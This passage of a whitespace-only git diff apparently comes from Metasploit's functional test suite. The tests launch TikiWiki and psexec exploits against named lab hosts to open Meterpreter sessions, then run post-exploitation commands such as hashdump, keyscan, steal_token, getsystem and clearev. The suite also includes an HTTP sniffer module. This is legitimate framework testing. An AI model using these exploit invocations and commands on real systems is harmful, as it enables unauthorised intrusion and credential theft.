'LocalOutput' => @output) - - puts @session.inspect - - ## If a session came back, try to interact with it. - if @session - @session.load_stdapi - else - raise Exception "Couldn't get a session!" - end - end + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs + + # This include brings in all the specs that are specific to the java + # meterpreter + include MsfTest::JavaMeterpreterSpecs + + before :all do + @verbose = true + + @meterpreter_type = "java" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end + + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" + + create_session_java + end + + before :each do + + end + + after :each do + @session.init_ui(@input, @output) + end + + after :all do + #FileUtils.rm_rf("*.jpeg") + #FileUtils.rm_rf("payload.jar") + FileUtils.rm_rf(@output_directory) + end + + + def create_session_java + + ## Setup for win32 + @framework = Msf::Simple::Framework.create + + test_modules_path = File.join(File.dirname(__FILE__), '..', '..', 'modules') + @framework.modules.add_module_path(test_modules_path) + + @exploit_name = 'test/java_tester' + @payload_name = 'java/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) + + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) + + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) + + puts @session.inspect + + ## If a session came back, try to interact with it. + if @session + @session.load_stdapi + else + raise Exception "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/meterpreter_php_spec.rb b/test/functional/meterpreter/meterpreter_php_spec.rb index 20aa632163a4..c0caaa31d196 100644 --- a/test/functional/meterpreter/meterpreter_php_spec.rb +++ b/test/functional/meterpreter/meterpreter_php_spec.rb @@ -10,74 +10,74 @@ module MsfTest describe "PhpMeterpreter" do - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs - - before :all do - @verbose = true - - @meterpreter_type = "php" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end - - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" - - create_session_php - end - - before :each do - - end - - after :each do - @session.init_ui(@input, @output) - end - - after :all do - FileUtils.rm_rf(@output_directory) - end - - - def create_session_php - - ## Setup for php - @framework = Msf::Simple::Framework.create - - @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec' - @payload_name = 'php/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) - - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) - - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {'RHOST' => "metasploitable"}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) - - puts @session.inspect - - ## If a session came back, try to interact with it. - if @session - @session.load_stdapi - else - raise Exception "Couldn't get a session!" - end - end + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs + + before :all do + @verbose = true + + @meterpreter_type = "php" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end + + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" + + create_session_php + end + + before :each do + + end + + after :each do + @session.init_ui(@input, @output) + end + + after :all do + FileUtils.rm_rf(@output_directory) + end + + + def create_session_php + + ## Setup for php + @framework = Msf::Simple::Framework.create + + @exploit_name = 'unix/webapp/tikiwiki_graph_formula_exec' + @payload_name = 'php/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) + + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) + + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {'RHOST' => "metasploitable"}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) + + puts @session.inspect + + ## If a session came back, try to interact with it. + if @session + @session.load_stdapi + else + raise Exception "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/meterpreter_spec_helper.rb b/test/functional/meterpreter/meterpreter_spec_helper.rb index e7f2cc7bc1a7..f47d937a3abb 100644 --- a/test/functional/meterpreter/meterpreter_spec_helper.rb +++ b/test/functional/meterpreter/meterpreter_spec_helper.rb @@ -1,58 +1,58 @@ module MsfTest module MeterpreterSpecHelper - def self.included(base) + def self.included(base) base.class_eval do - def generic_failure_strings - ['fail', 'error', 'exception'] - end - - def generic_failure_exception_strings - ['nserror.dll', 'tiki-error.php','tiki-error_simple.php','tiki-rss_error.php'] ##ugh, this is dependent on the target - end + def generic_failure_strings + ['fail', 'error', 'exception'] + end + + def generic_failure_exception_strings + ['nserror.dll', 'tiki-error.php','tiki-error_simple.php','tiki-rss_error.php'] ##ugh, this is dependent on the target + end - def hlp_run_command_check_output(name,command,success_strings=[],fail_strings=[], fail_exception_strings=[]) + def hlp_run_command_check_output(name,command,success_strings=[],fail_strings=[], fail_exception_strings=[]) - fail_strings = fail_strings | generic_failure_strings - fail_exception_strings = fail_exception_strings | generic_failure_exception_strings + fail_strings = fail_strings | generic_failure_strings + fail_exception_strings = fail_exception_strings | generic_failure_exception_strings - temp_command_file = "#{@output_directory}/#{name}" - - command_output = Rex::Ui::Text::Output::File.new(temp_command_file) - @session.init_ui(@input, command_output) - - command_output.print_line("meterpreter_functional_test_start") - - if @verbose - puts "Running Command: " + command - end - - @session.run_cmd(command) - command_output.print_line("meterpreter_functional_test_end") - data = hlp_file_to_string(temp_command_file) - - data.should contain_a_complete_test - data.should contain_all_successes - data.should contain_no_failures_except - end - - def hlp_file_to_string(filename) - data = "" - f = File.open(filename, "r") - f.each_line do |line| - data += line - end - return data - end - - def hlp_string_to_file(string, filepath) - # Create a new file and write to it - File.open(filepath, 'w') do |f2| - f2.puts string - end - end - end - end + temp_command_file = "#{@output_directory}/#{name}" + + command_output = Rex::Ui::Text::Output::File.new(temp_command_file) + @session.init_ui(@input, command_output) + + command_output.print_line("meterpreter_functional_test_start") + + if @verbose + puts "Running Command: " + command + end + + @session.run_cmd(command) + command_output.print_line("meterpreter_functional_test_end") + data = hlp_file_to_string(temp_command_file) + + data.should contain_a_complete_test + data.should contain_all_successes + data.should contain_no_failures_except + end + + def hlp_file_to_string(filename) + data = "" + f = File.open(filename, "r") + f.each_line do |line| + data += line + end + return data + end + + def hlp_string_to_file(string, filepath) + # Create a new file and write to it + File.open(filepath, 'w') do |f2| + f2.puts string + end + end + end + end end end diff --git a/test/functional/meterpreter/meterpreter_specs.rb b/test/functional/meterpreter/meterpreter_specs.rb index 5e2174354c66..e2ec4927dbf0 100644 --- a/test/functional/meterpreter/meterpreter_specs.rb +++ b/test/functional/meterpreter/meterpreter_specs.rb @@ -1,108 +1,108 @@ module MsfTest module MeterpreterSpecs - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when running each command" do - commands = [ "?", - "background", - "bgkill", - "bglist", - "bgrun", - "channel", - "close", - "exit", - "help", - "interact", - #"irb", - "migrate", - #"quit", - "read", - "run", - "use", - "write", - "cat", - "cd", - "del", - "download", - #"edit", - "getlwd", - "getwd", - "lcd", - "lpwd", - "ls", - "mkdir", - "pwd", - "rm", - "rmdir", - "search", - "upload", - "ipconfig", - "portfwd", - "route", - "clearev", - "drop_token", - "execute", - "getpid", - "getprivs", - "getuid", - "kill", - "ps", - #"reboot", - "reg", - "rev2self", - #"shell", - #"shutdown", - "steal_token", - "sysinfo", - "enumdesktops", - "getdesktop", - "idletime", - "keyscan_dump", - "keyscan_start", - "keyscan_stop", - "screenshot", - "setdesktop", - "uictl", - "getsystem", - "hashdump", - "timestomp" - ] + it "should not error when running each command" do + commands = [ "?", + "background", + "bgkill", + "bglist", + "bgrun", + "channel", + "close", + "exit", + "help", + "interact", + #"irb", + "migrate", + #"quit", + "read", + "run", + "use", + "write", + "cat", + "cd", + "del", + "download", + #"edit", + "getlwd", + "getwd", + "lcd", + "lpwd", + "ls", + "mkdir", + "pwd", + "rm", + "rmdir", + "search", + "upload", + "ipconfig", + "portfwd", + "route", + "clearev", + "drop_token", + "execute", + "getpid", + "getprivs", + "getuid", + "kill", + "ps", + #"reboot", + "reg", + "rev2self", + #"shell", + #"shutdown", + "steal_token", + "sysinfo", + "enumdesktops", + "getdesktop", + "idletime", + "keyscan_dump", + "keyscan_start", + "keyscan_stop", + "screenshot", + "setdesktop", + "uictl", + "getsystem", + "hashdump", + "timestomp" + ] - ## Run each command, check for execeptions - commands.each do |command| - hlp_run_command_check_output("basic_#{command}",command) - end - end + ## Run each command, check for execeptions + commands.each do |command| + hlp_run_command_check_output("basic_#{command}",command) + end + end - it "should not error when running help" do - success_strings = [ 'Core Commands', - 'Stdapi: File system Commands', - 'Stdapi: Networking Commands', - 'Stdapi: System Commands', - 'Stdapi: User interface Commands'] - - hlp_run_command_check_output("help","help", success_strings) - end - - it "should not error when running the help shortcut" do - success_strings = [ 'Core Commands', - 'Stdapi: File system Commands', - 'Stdapi: Networking Commands', - 'Stdapi: System Commands', - 'Stdapi: User interface Commands' ] - - hlp_run_command_check_output("help_shortcut","?", success_strings) - end - - it "should not error when checking for background channels" do - success_strings = [ 'No active channels.' ] - hlp_run_command_check_output("channel_list_empty","channel -l", success_strings) - end - - end - end + it "should not error when running help" do + success_strings = [ 'Core Commands', + 'Stdapi: File system Commands', + 'Stdapi: Networking Commands', + 'Stdapi: System Commands', + 'Stdapi: User interface Commands'] + + hlp_run_command_check_output("help","help", success_strings) + end + + it "should not error when running the help shortcut" do + success_strings = [ 'Core Commands', + 'Stdapi: File system Commands', + 'Stdapi: Networking Commands', + 'Stdapi: System Commands', + 'Stdapi: User interface Commands' ] + + hlp_run_command_check_output("help_shortcut","?", success_strings) + end + + it "should not error when checking for background channels" do + success_strings = [ 'No active channels.' ] + hlp_run_command_check_output("channel_list_empty","channel -l", success_strings) + end + + end + end end end diff --git a/test/functional/meterpreter/meterpreter_win32_spec.rb b/test/functional/meterpreter/meterpreter_win32_spec.rb index 80f323d5545b..4a53adea1799 100644 --- a/test/functional/meterpreter/meterpreter_win32_spec.rb +++ b/test/functional/meterpreter/meterpreter_win32_spec.rb @@ -14,91 +14,91 @@ module MsfTest describe "Win32Meterpreter" do - # Include Custom Matchers - include MsfTest::MsfMatchers - - - # This include brings in all the spec helper methods - include MsfTest::MeterpreterSpecHelper - - # This include brings in all the specs that are generic across the - # meterpreter platforms - include MsfTest::MeterpreterSpecs - - # This include brings in all the specs that are specific to the - # windows meterpreter platforms - include MsfTest::WindowsMeterpreterSpecs - - before :all do - @verbose = true - - @meterpreter_type = "win32" - - ## Set up an outupt directory - @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") - - if File.directory? @output_directory - FileUtils.rm_rf(@output_directory) - end - - Dir.mkdir(@output_directory) - @default_file = "#{@output_directory}/default" - - create_session_windows_x32 - end - - before :each do - - end - - after :each do - @session.init_ui(@input, @output) - end - - after :all do - - ## Clean up test output - FileUtils.rm_rf(@output_directory) - - ## Screenshot command leaves .jpegs :( - ## TODO - fix the meterpreter command to write to - ## TODO - an arbitrary file. - Dir.new(File.dirname(__FILE__)).each do |file| - if file =~ /.jpeg/ - File.delete(file) - end - end - - end - - def create_session_windows_x32 - - ## Setup for win32 - @framework = Msf::Simple::Framework.create - @exploit_name = 'windows/smb/psexec' - @payload_name = 'windows/meterpreter/bind_tcp' - @input = Rex::Ui::Text::Input::Stdio.new - @output = Rex::Ui::Text::Output::File.new(@default_file) - - # Initialize the exploit instance - exploit = @framework.exploits.create(@exploit_name) - - ## Fire it off against a known-vulnerable host - @session = exploit.exploit_simple( - 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, - 'Payload' => @payload_name, - 'LocalInput' => @input, - 'LocalOutput' => @output) - - ## If a session came back, try to interact with it. - if @session - puts "got a session" - @session.load_stdapi - else - puts "unable to get session" - #flunk "Couldn't get a session!" - end - end + # Include Custom Matchers + include MsfTest::MsfMatchers + + + # This include brings in all the spec helper methods + include MsfTest::MeterpreterSpecHelper + + # This include brings in all the specs that are generic across the + # meterpreter platforms + include MsfTest::MeterpreterSpecs + + # This include brings in all the specs that are specific to the + # windows meterpreter platforms + include MsfTest::WindowsMeterpreterSpecs + + before :all do + @verbose = true + + @meterpreter_type = "win32" + + ## Set up an outupt directory + @output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}") + + if File.directory? @output_directory + FileUtils.rm_rf(@output_directory) + end + + Dir.mkdir(@output_directory) + @default_file = "#{@output_directory}/default" + + create_session_windows_x32 + end + + before :each do + + end + + after :each do + @session.init_ui(@input, @output) + end + + after :all do + + ## Clean up test output + FileUtils.rm_rf(@output_directory) + + ## Screenshot command leaves .jpegs :( + ## TODO - fix the meterpreter command to write to + ## TODO - an arbitrary file. + Dir.new(File.dirname(__FILE__)).each do |file| + if file =~ /.jpeg/ + File.delete(file) + end + end + + end + + def create_session_windows_x32 + + ## Setup for win32 + @framework = Msf::Simple::Framework.create + @exploit_name = 'windows/smb/psexec' + @payload_name = 'windows/meterpreter/bind_tcp' + @input = Rex::Ui::Text::Input::Stdio.new + @output = Rex::Ui::Text::Output::File.new(@default_file) + + # Initialize the exploit instance + exploit = @framework.exploits.create(@exploit_name) + + ## Fire it off against a known-vulnerable host + @session = exploit.exploit_simple( + 'Options' => {'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => ""}, + 'Payload' => @payload_name, + 'LocalInput' => @input, + 'LocalOutput' => @output) + + ## If a session came back, try to interact with it. + if @session + puts "got a session" + @session.load_stdapi + else + puts "unable to get session" + #flunk "Couldn't get a session!" + end + end end end diff --git a/test/functional/meterpreter/windows_meterpreter_specs.rb b/test/functional/meterpreter/windows_meterpreter_specs.rb index 5fa044f38445..5220ee137b48 100644 --- a/test/functional/meterpreter/windows_meterpreter_specs.rb +++ b/test/functional/meterpreter/windows_meterpreter_specs.rb @@ -1,49 +1,49 @@ module MsfTest module WindowsMeterpreterSpecs - ## This file is intended to be used in conjunction with a harness, - ## such as meterpreter_win32_spec.rb + ## This file is intended to be used in conjunction with a harness, + ## such as meterpreter_win32_spec.rb - def self.included(base) + def self.included(base) base.class_eval do - it "should not error when uploading a file to a windows box" do - upload_success_strings = [ 'uploading', - 'uploaded' ] - - ## create a file to upload - filename = "/tmp/whatever" - if File.exist?(filename) - FileUtils.rm(filename) - end - hlp_string_to_file("owned!", filename) - - ## run the upload / quit commands - hlp_run_command_check_output("upload","upload #{filename} C:\\", upload_success_strings) - #hlp_run_command_check_output("quit","quit") - - ## clean up - FileUtils.rm(filename) - end - - - it "should show the priv commands when running help" do - - success_strings = ['Priv: Elevate Commands', - 'Priv: Password database Commands', - 'Priv: Timestomp Commands' ] - - hlp_run_command_check_output("help_shortcut","help", success_strings) - - end - - it "should not error when taking a screenshot" do - success_strings = [ 'Screenshot saved to' ] - hlp_run_command_check_output("screenshot","screenshot", success_strings) - end - - end - end + it "should not error when uploading a file to a windows box" do + upload_success_strings = [ 'uploading', + 'uploaded' ] + + ## create a file to upload + filename = "/tmp/whatever" + if File.exist?(filename) + FileUtils.rm(filename) + end + hlp_string_to_file("owned!", filename) + + ## run the upload / quit commands + hlp_run_command_check_output("upload","upload #{filename} C:\\", upload_success_strings) + #hlp_run_command_check_output("quit","quit") + + ## clean up + FileUtils.rm(filename) + end + + + it "should show the priv commands when running help" do + + success_strings = ['Priv: Elevate Commands', + 'Priv: Password database Commands', + 'Priv: Timestomp Commands' ] + + hlp_run_command_check_output("help_shortcut","help", success_strings) + + end + + it "should not error when taking a screenshot" do + success_strings = [ 'Screenshot saved to' ] + hlp_run_command_check_output("screenshot","screenshot", success_strings) + end + + end + end end end diff --git a/test/hooks/array_to_s.rb b/test/hooks/array_to_s.rb index 003e804ba4e1..a8a902b16dce 100644 --- a/test/hooks/array_to_s.rb +++ b/test/hooks/array_to_s.rb @@ -1,10 +1,10 @@ class Array - @@to_s_reported = {} - def to_s(*args) - if(not @@to_s_reported[caller[0].to_s]) - $stderr.puts "HOOK: Array#to_s at #{caller.join("\t")}" - @@to_s_reported[caller[0].to_s] = true - end - super(*args) - end + @@to_s_reported = {} + def to_s(*args) + if(not @@to_s_reported[caller[0].to_s]) + $stderr.puts "HOOK: Array#to_s at #{caller.join("\t")}" + @@to_s_reported[caller[0].to_s] = true + end + super(*args) + end end diff --git a/test/hooks/string_idx.rb b/test/hooks/string_idx.rb index c8ce4029b937..2b4794c9461c 100644 --- a/test/hooks/string_idx.rb +++ b/test/hooks/string_idx.rb @@ -1,11 +1,11 @@ class String - @@idx_reported = {} - def [](*args) - - if(args.length == 1 and args[0].class == ::Fixnum and not @@idx_reported[caller[0].to_s]) - $stderr.puts "HOOK: String[idx] #{caller.join("\t")}\n\n" - @@idx_reported[caller[0].to_s] = true - end - slice(*args) - end + @@idx_reported = {} + def [](*args) + + if(args.length == 1 and args[0].class == ::Fixnum and not @@idx_reported[caller[0].to_s]) + $stderr.puts "HOOK: String[idx] #{caller.join("\t")}\n\n" + @@idx_reported[caller[0].to_s] = true + end + slice(*args) + end end diff --git a/test/lib/module_test.rb b/test/lib/module_test.rb index 6dd27c701b0d..71f89f5da078 100644 --- a/test/lib/module_test.rb +++ b/test/lib/module_test.rb @@ -3,66 +3,66 @@ module Msf module ModuleTest - attr_accessor :tests - attr_accessor :failures + attr_accessor :tests + attr_accessor :failures - def initialize(info={}) - @tests = 0 - @failures = 0 - super - end + def initialize(info={}) + @tests = 0 + @failures = 0 + super + end - def run_all_tests - tests = self.methods.select { |m| m.to_s =~ /^test_/ } - tests.each { |test_method| - self.send(test_method) - } + def run_all_tests + tests = self.methods.select { |m| m.to_s =~ /^test_/ } + tests.each { |test_method| + self.send(test_method) + } - end + end - def it(msg="", &block) - @tests += 1 - begin - result = block.call - unless result - print_error("FAILED: #{msg}") - print_error("FAILED: #{error}") if error - @failures += 1 - return - end - rescue ::Exception => e - print_error("FAILED: #{msg}") - print_error("Exception: #{e.class} : #{e}") - dlog("Exception in testing - #{msg}") - dlog("Call stack: #{e.backtrace.join("\n")}") - return - end + def it(msg="", &block) + @tests += 1 + begin + result = block.call + unless result + print_error("FAILED: #{msg}") + print_error("FAILED: #{error}") if error + @failures += 1 + return + end + rescue ::Exception => e + print_error("FAILED: #{msg}") + print_error("Exception: #{e.class} : #{e}") + dlog("Exception in testing - #{msg}") + dlog("Call stack: #{e.backtrace.join("\n")}") + return + end - print_good("#{msg}") - end + print_good("#{msg}") + end - def pending(msg="", &block) - print_status("PENDING: #{msg}") - end + def pending(msg="", &block) + print_status("PENDING: #{msg}") + end end module ModuleTest::PostTest - include ModuleTest - def run - print_status("Running against session #{datastore["SESSION"]}") - print_status("Session type is #{session.type} and platform is #{session.platform}") + include ModuleTest + def run + print_status("Running against session #{datastore["SESSION"]}") + print_status("Session type is #{session.type} and platform is #{session.platform}") - t = Time.now - @tests = 0; @failures = 0 - run_all_tests + t = Time.now + @tests = 0; @failures = 0 + run_all_tests - vprint_status("Testing complete in #{Time.now - t}") - if (@failures > 0) - print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") - else - print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") - end - end + vprint_status("Testing complete in #{Time.now - t}") + if (@failures > 0) + print_error("Passed: #{@tests - @failures}; Failed: #{@failures}") + else + print_status("Passed: #{@tests - @failures}; Failed: #{@failures}") + end + end end end diff --git a/test/lib/msf_matchers.rb b/test/lib/msf_matchers.rb index c62d3daa1b2a..8438690dbee6 100644 --- a/test/lib/msf_matchers.rb +++ b/test/lib/msf_matchers.rb @@ -5,90 +5,90 @@ module MsfTest module MsfMatchers - class ContainACompleteTest - - def initialize() - @r = Regexr.new(true) - end - - def matches?(data) - @data = data - return @r.verify_start_and_end(@data,"meterpreter_functional_test_start", "meterpreter_functional_test_end") - end - - def failure_message - "Beginning or end was incorrect." - end - - def negative_failure_message - "Expected to find a no beginning or end, but it matched." - end - - end - - def contain_a_complete_test - ContainACompleteTest.new - end - - class ContainAllSuccesses - - def initialize(successes=[]) - @successes = successes - @r = Regexr.new(true) - end - - def matches?(data) - @data = data - @string = @r.find_strings_that_dont_exist_in_data(@data,@successes) - return true if !@string - nil - end - - def failure_message - "expected all successes, but didn't find '#{@string}'" - end - - def negative_failure_message - "expected to miss successes but found'm all :(" - end - - #alias :have_all_successes :contain_all_successes - end - - def contain_all_successes(successes=[]) - ContainAllSuccesses.new(successes) - end - - class ContainNoFailuresExcept - - def initialize(failures=[],exceptions=[]) - @failures = failures - @exceptions = exceptions - @r = Regexr.new(true) - end - - def matches?(data) - @data = data - @string = @r.find_strings_that_exist_in_data_except(@data,@failures,@exceptions) - return true if !@string - nil - end - - def failure_message - "expected no failure to be found, but found this: '#{@string}'" - end - - def negative_falure_message - "expected to find failures, but didn't find any :(" - end - - #alias :have_no_failures :contain_no_failures - end - - def contain_no_failures_except(failures=[],exceptions=[]) - ContainNoFailuresExcept.new(failures,exceptions) - end - - + class ContainACompleteTest + + def initialize() + @r = Regexr.new(true) + end + + def matches?(data) + @data = data + return @r.verify_start_and_end(@data,"meterpreter_functional_test_start", "meterpreter_functional_test_end") + end + + def failure_message + "Beginning or end was incorrect." + end + + def negative_failure_message + "Expected to find a no beginning or end, but it matched." + end + + end + + def contain_a_complete_test + ContainACompleteTest.new + end + + class ContainAllSuccesses + + def initialize(successes=[]) + @successes = successes + @r = Regexr.new(true) + end + + def matches?(data) + @data = data + @string = @r.find_strings_that_dont_exist_in_data(@data,@successes) + return true if !@string + nil + end + + def failure_message + "expected all successes, but didn't find '#{@string}'" + end + + def negative_failure_message + "expected to miss successes but found'm all :(" + end + + #alias :have_all_successes :contain_all_successes + end + + def contain_all_successes(successes=[]) + ContainAllSuccesses.new(successes) + end + + class ContainNoFailuresExcept + + def initialize(failures=[],exceptions=[]) + @failures = failures + @exceptions = exceptions + @r = Regexr.new(true) + end + + def matches?(data) + @data = data + @string = @r.find_strings_that_exist_in_data_except(@data,@failures,@exceptions) + return true if !@string + nil + end + + def failure_message + "expected no failure to be found, but found this: '#{@string}'" + end + + def negative_falure_message + "expected to find failures, but didn't find any :(" + end + + #alias :have_no_failures :contain_no_failures + end + + def contain_no_failures_except(failures=[],exceptions=[]) + ContainNoFailuresExcept.new(failures,exceptions) + end + + end end diff --git a/test/lib/regexr.rb b/test/lib/regexr.rb index 5dcb835ecd54..335f83195b2a 100644 --- a/test/lib/regexr.rb +++ b/test/lib/regexr.rb @@ -6,101 +6,101 @@ class Regexr - def initialize(verbose=false, case_insensitive=true) - @verbose = verbose - @case_insensitive = case_insensitive - end - - # Check for the beginning and end lines. Handy when you need to ensure a log has started & completed - def verify_start_and_end(data,the_start,the_end) - return false unless data - - data_lines = data.split("\n") - regex_start = Regexp.new(the_start, @case_insensitive) - regex_end = Regexp.new(the_end, @case_insensitive) - - if regex_start =~ data_lines.first - return regex_end =~ data_lines.last - end - - return false - end - - # Scan for any number of success lines. In order to pass, all successes must match. - def find_strings_that_dont_exist_in_data(data,regexes=[]) - return false unless data - - data_lines = data.split("\n") - - return nil unless regexes ## count as a pass - - if regexes - target_successes = regexes.size - success_count = 0 - regexes.each { |condition| - - ## assume we haven't got it - found = false - - re = Regexp.new(condition, @case_insensitive) - - ## for each of our data lines - data_lines.each {|line| - - ## if it's a match - if line =~ re - found = true - break ## success! - end - } - - if !found - return condition ## return this string, it wasn't found. - end - } - end - - nil ## got all successes, woot! - end - - # Scan for failures -- if any single failure matches, the test returns true. - def find_strings_that_exist_in_data_except(data,regexes=[],exceptions=[]) - - return false unless data - - data_lines = data.split("\n") - - return nil unless regexes ## count as a pass - - regexes.each { |condition| - - ## for each failure condition that we've been passed - re = Regexp.new(condition, @case_insensitive) - - ## assume we're okay - found = false - - data_lines.each { |line| - if re =~ line - found = true # oh, we found a match - - # but let's check the exceptions - exceptions.map { |exception| - reg_exception = Regexp.new(exception, @case_insensitive) - - # If the exception matches here, we'll spare it - if reg_exception =~ line - found = false - break - end - } - - # If we didn't find an exception, we have to fail it. do not pass go. - return condition if found - end - } - } - - nil ## no failures found! - end + def initialize(verbose=false, case_insensitive=true) + @verbose = verbose + @case_insensitive = case_insensitive + end + + # Check for the beginning and end lines. Handy when you need to ensure a log has started & completed + def verify_start_and_end(data,the_start,the_end) + return false unless data + + data_lines = data.split("\n") + regex_start = Regexp.new(the_start, @case_insensitive) + regex_end = Regexp.new(the_end, @case_insensitive) + + if regex_start =~ data_lines.first + return regex_end =~ data_lines.last + end + + return false + end + + # Scan for any number of success lines. In order to pass, all successes must match. + def find_strings_that_dont_exist_in_data(data,regexes=[]) + return false unless data + + data_lines = data.split("\n") + + return nil unless regexes ## count as a pass + + if regexes + target_successes = regexes.size + success_count = 0 + regexes.each { |condition| + + ## assume we haven't got it + found = false + + re = Regexp.new(condition, @case_insensitive) + + ## for each of our data lines + data_lines.each {|line| + + ## if it's a match + if line =~ re + found = true + break ## success! + end + } + + if !found + return condition ## return this string, it wasn't found. + end + } + end + + nil ## got all successes, woot! + end + + # Scan for failures -- if any single failure matches, the test returns true. + def find_strings_that_exist_in_data_except(data,regexes=[],exceptions=[]) + + return false unless data + + data_lines = data.split("\n") + + return nil unless regexes ## count as a pass + + regexes.each { |condition| + + ## for each failure condition that we've been passed + re = Regexp.new(condition, @case_insensitive) + + ## assume we're okay + found = false + + data_lines.each { |line| + if re =~ line + found = true # oh, we found a match + + # but let's check the exceptions + exceptions.map { |exception| + reg_exception = Regexp.new(exception, @case_insensitive) + + # If the exception matches here, we'll spare it + if reg_exception =~ line + found = false + break + end + } + + # If we didn't find an exception, we have to fail it. do not pass go. + return condition if found + end + } + } + + nil ## no failures found! + end end diff --git a/test/modules/auxiliary/test/capture.rb b/test/modules/auxiliary/test/capture.rb index 15762b7a7bc5..766a833bab47 100644 --- a/test/modules/auxiliary/test/capture.rb +++ b/test/modules/auxiliary/test/capture.rb @@ -15,49 +15,49 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Capture - - def initialize - super( - 'Name' => 'Simple Network Capture Tester', - 'Version' => '$Revision$', - 'Description' => 'This module sniffs HTTP GET requests from the network', - 'Author' => 'hdm', - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Sniffer' ] - ], - 'PassiveActions' => - [ - 'Sniffer' - ], - 'DefaultAction' => 'Sniffer' - ) - - deregister_options('RHOST') - end - - def run - print_status("Opening the network interface...") - open_pcap() - - print_status("Sniffing HTTP requests...") - each_packet() do |pkt| - p = PacketFu::Packet.parse(pkt) - next unless p.is_tcp? - next if p.payload.empty? - if (p.payload =~ /GET\s+([^\s]+)\s+HTTP/smi) - url = $1 - print_status("GET #{url}") - break if url =~ /StopCapture/ - end - - end - close_pcap() - print_status("Finished sniffing") - end + include Msf::Auxiliary::Report + include Msf::Exploit::Capture + + def initialize + super( + 'Name' => 'Simple Network Capture Tester', + 'Version' => '$Revision$', + 'Description' => 'This module sniffs HTTP GET requests from the network', + 'Author' => 'hdm', + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Sniffer' ] + ], + 'PassiveActions' => + [ + 'Sniffer' + ], + 'DefaultAction' => 'Sniffer' + ) + + deregister_options('RHOST') + end + + def run + print_status("Opening the network interface...") + open_pcap() + + print_status("Sniffing HTTP requests...") + each_packet() do |pkt| + p = PacketFu::Packet.parse(pkt) + next unless p.is_tcp? + next if p.payload.empty? + if (p.payload =~ /GET\s+([^\s]+)\s+HTTP/smi) + url = $1 + print_status("GET #{url}") + break if url =~ /StopCapture/ + end + + end + close_pcap() + print_status("Finished sniffing") + end end diff --git a/test/modules/auxiliary/test/check.rb b/test/modules/auxiliary/test/check.rb index 07e14bd61fca..b04ab8ac23eb 100644 --- a/test/modules/auxiliary/test/check.rb +++ b/test/modules/auxiliary/test/check.rb @@ -9,39 +9,39 @@ class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Report - include Msf::Exploit::Remote::HttpClient - - def initialize(info = {}) - super(update_info(info, - 'Name' => "Check Test", - 'Description' => %q{ - This module ensures that 'check' actually functions for Auxiilary modules. - }, - 'References' => - [ - [ 'OSVDB', '0' ] - ], - 'Author' => - [ - 'todb' - ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - Opt::RPORT(80) - ], self.class) - end - - def check - print_debug "Check is successful" - return Msf::Exploit::CheckCode::Vulnerable - end - - def run - print_debug "Run is successful." - end + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => "Check Test", + 'Description' => %q{ + This module ensures that 'check' actually functions for Auxiilary modules. + }, + 'References' => + [ + [ 'OSVDB', '0' ] + ], + 'Author' => + [ + 'todb' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80) + ], self.class) + end + + def check + print_debug "Check is successful" + return Msf::Exploit::CheckCode::Vulnerable + end + + def run + print_debug "Run is successful." + end end diff --git a/test/modules/auxiliary/test/eth_spoof.rb b/test/modules/auxiliary/test/eth_spoof.rb index 07041d28c118..640718fda3d9 100644 --- a/test/modules/auxiliary/test/eth_spoof.rb +++ 